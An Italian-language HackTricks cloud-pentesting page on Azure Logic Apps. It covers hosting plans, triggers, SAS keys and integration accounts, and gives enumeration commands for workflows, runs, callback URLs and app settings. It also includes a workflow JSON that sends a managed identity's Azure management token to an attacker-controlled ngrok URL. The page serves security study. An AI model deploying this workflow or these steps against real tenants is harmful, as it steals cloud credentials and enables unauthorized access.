# Az - Logic Apps

{{#include ../../../banners/hacktricks-training.md}}

## Informazioni di base

Azure Logic Apps consente agli sviluppatori di **creare e eseguire flussi di lavoro che integrano vari servizi**, fonti di dati e applicazioni. Questi flussi di lavoro sono progettati per **automatizzare i processi aziendali**, orchestrare attività e eseguire integrazioni di dati su diverse piattaforme.

Logic Apps fornisce un **designer visivo** per creare flussi di lavoro con un **ampia gamma di connettori predefiniti**, che facilita la connessione e l'interazione con vari servizi:

<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>

### Opzioni di hosting

Ci sono diverse opzioni di hosting:

* **Consumption**
- **Multi-tenant**: Questo fornisce risorse di calcolo condivise, opera nel cloud pubblico e segue un modello di prezzo pay-per-operation. Questo è ideale per carichi di lavoro leggeri e convenienti. Questo è ciò che chiameremo un "Single Workflow".
* **Standard**
- **Workflow Service Plan**: Questo fornisce risorse di calcolo dedicate con integrazione VNET per il networking e addebita per ogni istanza del piano di servizio del flusso di lavoro. È adatto per carichi di lavoro più esigenti che richiedono un maggiore controllo.
- **App Service Environment V3:** Questo fornisce risorse di calcolo dedicate con piena isolamento e scalabilità. Si integra anche con VNET per il networking e utilizza un modello di prezzo basato sulle istanze di App Service all'interno dell'ambiente.
- **Hybrid:** Questo è progettato per l'elaborazione locale e il supporto multi-cloud. Consente risorse di calcolo gestite dal cliente con accesso alla rete locale e utilizza Kubernetes Event-Driven Autoscaling (KEDA). Si basa su un Container App Connected Environment.

## Flussi di lavoro "Single" / Piano di consumo

Un **flusso di lavoro** è una sequenza strutturata di passaggi o attività automatizzate che eseguono un processo o obiettivo specifico. Definisce come diverse azioni, condizioni e decisioni interagiscono per raggiungere un risultato desiderato, semplificando le operazioni e riducendo lo sforzo manuale.

> [!TIP]
> Il piano di consumo consente **di creare un singolo flusso di lavoro senza la necessità di una Logic App** stessa.

### Attivatori e Azioni

Gli attivatori del flusso di lavoro indicano **quando il flusso di lavoro dovrebbe iniziare**. Gli attivatori possono essere un endpoint HTTP, un programma o decine di eventi diversi da Azure o anche da app esterne.

Ogni flusso di lavoro ha diverse **azioni**. Queste azioni sono i passaggi che il flusso di lavoro segue. A seconda dell'azione, saranno disponibili diversi parametri per configurarla, come:

- **Nome della connessione**: Connessione da utilizzare con cui l'azione interagirà.
- **Tipo di autenticazione:** Le diverse opzioni sono Access Key, Microsoft Entra ID, autenticazione del servizio integrato e identità gestita di Logic Apps.
- Da una prospettiva di sola lettura, i dati di **autenticazione** sono sempre interessanti poiché potrebbero contenere informazioni sensibili.
- Da una prospettiva di scrittura, i dati di **autenticazione** sono sempre interessanti poiché potrebbero consentire di utilizzare i permessi delle identità gestite assegnate.
- ...

Le azioni hanno anche varie **impostazioni**, che dipendono dall'azione stessa. Alcune delle impostazioni più comuni sono:

- **Politica di ripetizione**: Configura il numero di ripetizioni e l'intervallo tra di esse.
- **Timeout**: Imposta il tempo massimo in cui l'azione può essere eseguita prima di scadere.
- **Esegui dopo**: Specifica le condizioni che devono essere soddisfatte prima che l'azione venga eseguita.
- **Validazione dello schema**: Garantisce che i dati in arrivo seguano una struttura predefinita.
- **Networking**: Configura come gestire diverse intestazioni.
- **Input/Output sicuri**: Questo nasconderà i dati di input/output dalla cronologia delle esecuzioni.
- ...

### Politiche di autorizzazione

Questi flussi di lavoro supportano **politiche di autorizzazione** con Entra ID per proteggere gli attivatori basati su richiesta richiedendo un token di accesso valido. Questo token deve includere specifiche dichiarazioni:
- Emittente (iss) per verificare il fornitore di identità
- Destinatario (aud) per garantire che il token sia destinato alla Logic App
- Soggetto (sub) per identificare il chiamante
- ID JWT (identificatore del token Web JSON)
- Dichiarazione personalizzata

Quando viene ricevuta una richiesta, Logic Apps convalida il token rispetto a queste dichiarazioni e consente l'esecuzione solo se corrispondono alla politica configurata. Questo può essere utilizzato per consentire a un altro tenant di attivare il flusso di lavoro o negare l'attivazione da altre fonti, ad esempio consentendo l'attivazione solo se proviene da https://login.microsoftonline.com/.

### Chiavi di accesso

I flussi di lavoro **generano 2 chiavi di accesso** quando vengono creati. Queste chiavi vengono utilizzate per autenticare e autorizzare le richieste al flusso di lavoro. Le chiavi vengono utilizzate per generare un token di firma di accesso condiviso (SAS), che è incluso nell'URL della richiesta.

Quindi, quando viene creato un attivatore di endpoint HTTP, viene generato un **endpoint HTTP unico con una firma SAS** che concede il permesso di chiamare il flusso di lavoro.

Queste **chiavi possono essere rigenerate** e verrà creato un nuovo URL SAS per questi attivatori, ma i **valori delle chiavi non possono essere accessibili**.

Esempio di un URL SAS per invocare un attivatore:
```
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
```
### Impostazioni e Componenti del Workflow

- **Opzione di accesso al trigger**: Questa impostazione consente di limitare chi può attivare o avviare il tuo workflow. Le opzioni sono Qualsiasi IP, Solo altri workflow e Intervalli IP specifici.
- **Account di integrazione**: Collega il tuo workflow a un Account di Integrazione.
- **Alto throughput**: Se attivato, consente di gestire più richieste in parallelo rapidamente.
- **Conservazione della cronologia delle esecuzioni**: Questo indica il numero di giorni per mantenere la cronologia delle esecuzioni.
- **Connessioni API**: Questo mostra le diverse connessioni API che il workflow ha. All'interno di ciascuna di queste connessioni hanno diverse proprietà e la possibilità di modificare la connessione API dove il tipo di autenticazione può essere cambiato.
- **Cronologia**: Ha l'opzione di accedere alla **cronologia** delle vecchie esecuzioni e ottenere dati: Impostazioni, Output, Parametri e il Codice.
- **Versioni**: Ha l'opzione di accedere a diverse **versioni** del workflow, dove puoi controllare il codice e cambiare il workflow attuale con una versione precedente di esso.
- **Identità Gestite**: È possibile assegnare 1 identità gestita di sistema e un'identità gestita dall'utente al workflow.

### Token di accesso MI in fuga

L'azione HTTP in un workflow può essere utilizzata per inviare dati a un web esterno. Nei **Parametri avanzati** dell'azione HTTP, è possibile configurare il **Tipo di autenticazione** come **`Managed identity`** e poi selezionare l'**Identità Gestita assegnata** da utilizzare (sistema o utente).

Inoltre, è possibile indicare nell'**`Audience`** il pubblico del JWT generato, che potrebbe essere ad esempio **`https://management.azure.com/`** per poter utilizzare il token generato per accedere all'API di gestione di Azure.

> [!WARNING]
> Facendo in modo che l'azione invii la richiesta HTTP a un server controllato da un attaccante, è possibile **far trapelare il token di accesso dell'identità gestita** assegnata al workflow.

> [!TIP]
> Un attaccante potrebbe anche utilizzare altri tipi di azioni per **accedere direttamente ad altri servizi Azure** e compiere azioni con i permessi dell'identità gestita.

Questo è il codice di un workflow che espone un endpoint HTTP e poi utilizza un'azione HTTP per far trapelare il token di accesso all'URL configurato (ngrok in questo caso):

<details>
<summary>Codice del Workflow</summary>
```json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
```
</details>

## Logic Apps / Piano Standard

### Differenze con i "Workflow" Singoli

Le logic app utilizzano fondamentalmente un App Service in background per **ospitare la logic app che può ospitare diversi workflow**. Questo significa che la logic app avrà tutte le funzionalità di un App Service e dei "Workflow" Singoli.

Al alcune caratteristiche chiave sarebbero:

- **Piano App Service**: Le Logic Apps nel piano Standard sono ospitate su un Piano App Service, quindi è possibile utilizzare tutte le funzionalità dell'App Service come:
- **Restrizioni di Rete**: Indica da dove è accessibile.
- **Centro di Distribuzione**: Distribuisci da piattaforme esterne come Github, Bitbucket, Azure Repos, Git Esterno e Git Locale.
- **Accesso FTP**: È possibile accedere ai file della Logic App tramite FTP.
- **Account di Archiviazione**: L'app di servizio utilizza un account di archiviazione per memorizzare informazioni.
- **Variabili Env & Impostazioni App**: È possibile configurare variabili di ambiente e impostazioni dell'app (e trovare informazioni sensibili come le chiavi di accesso all'account di archiviazione).
- ...
- **Parametri**: I parametri ti consentono di gestire valori che variano tra sviluppo, test e produzione. Questo ti consente di progettare prima i workflow, quindi regolare facilmente le impostazioni specifiche per l'ambiente in seguito.
- **Risorse Dedicati**: Le Logic Apps nel piano Standard hanno risorse dedicate.
- **Workflow Multipli**: Consente di creare più workflow.

Per ulteriori informazioni sui Servizi App controlla:

{{#ref}}
../az-services/az-app-services.md
{{#endref}}


### Enumerazione

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>

# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"

# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"

# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"

# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"

# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>

# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>

# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>

# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"

# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"

# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"

# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"


```
{{#endtab }}

{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.LogicApp

# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>

# Get details of a specific Logic App workflow run action
Get-AzLogicAppRunAction -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -RunName "<RunName>"

# Get the run history for a specific Logic App
Get-AzLogicAppRunHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"

# Get details about triggers for a specific Logic App
Get-AzLogicAppTrigger -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"

# Get the callback URL for a specific trigger in a Logic App
Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName "<LogicAppName>" -TriggerName "<TriggerName>"

# Get the history of a specific trigger in a Logic App
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"

```
{{#endtab }}
{{#endtabs }}

## Account di Integrazione
**Account di Integrazione**, sono una funzionalità di Azure Logic Apps. Gli Account di Integrazione vengono utilizzati per facilitare integrazioni a livello aziendale abilitando capacità B2B avanzate, come EDI, AS2 e gestione degli schemi XML. Gli Account di Integrazione sono un contenitore in Azure che memorizza i seguenti artefatti utilizzati per le Logic Apps:

* **Schemi**: Gestisci schemi XML per convalidare e elaborare messaggi nel tuo account di integrazione.
* **Mappe**: Configura trasformazioni basate su XSLT per convertire formati di dati all'interno dei tuoi flussi di lavoro di integrazione.
* **Assembly**: Gestisci le assembly dell'account di integrazione per semplificare la logica e l'elaborazione dei dati.
* **Certificati**: Gestisci certificati per crittografare e firmare messaggi, garantendo comunicazioni sicure.
* **Partner**: Gestisci le informazioni sui partner commerciali per transazioni B2B, abilitando integrazioni senza soluzione di continuità.
* **Accordi**: Configura regole e impostazioni per lo scambio di dati con i partner commerciali (ad es., EDI, AS2).
* **Configurazioni Batch**: Gestisci configurazioni di elaborazione batch per raggruppare ed elaborare messaggi in modo efficiente.
* **RosettaNet PIP**: Configura i Processi di Interfaccia Partner RosettaNet (PIP) per standardizzare la comunicazione B2B.

#### Enumerazione

{{#tabs }}
{{#tab name="az cli" }}
```bash
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>

# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>

az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>

# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>

# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>

# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>

# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>


```
{{#endtab }}

{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.LogicApp

# Retrieve details of an integration account
Get-AzIntegrationAccount -ResourceGroupName <resource-group-name> -Name <integration-account-name>

# Retrieve the callback URL of an integration account
Get-AzIntegrationAccountCallbackUrl -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name>

# Retrieve details of a specific agreement in an integration account
Get-AzIntegrationAccountAgreement -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <agreement-name>

# Retrieve details of a specific assembly in an integration account
Get-AzIntegrationAccountAssembly -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <assembly-name>

# Retrieve details of a specific batch configuration in an integration account
Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <batch-configuration-name>

# Retrieve details of a specific certificate in an integration account
Get-AzIntegrationAccountCertificate -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <certificate-name>

# Retrieve details of a specific map in an integration account
Get-AzIntegrationAccountMap -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <map-name>

# Retrieve details of a specific partner in an integration account
Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <partner-name>

# Retrieve details of a specific schema in an integration account
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
```
{{#endtab }}
{{#endtabs }}


## Escalatione dei privilegi

Stesso metodo di privesc delle logic apps:

{{#ref}}
../az-privilege-escalation/az-logic-apps-privesc.md
{{#endref}}

## Post Sfruttamento

{{#ref}}
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}

## Persistenza

{{#ref}}
../az-persistence/az-logic-apps-persistence.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
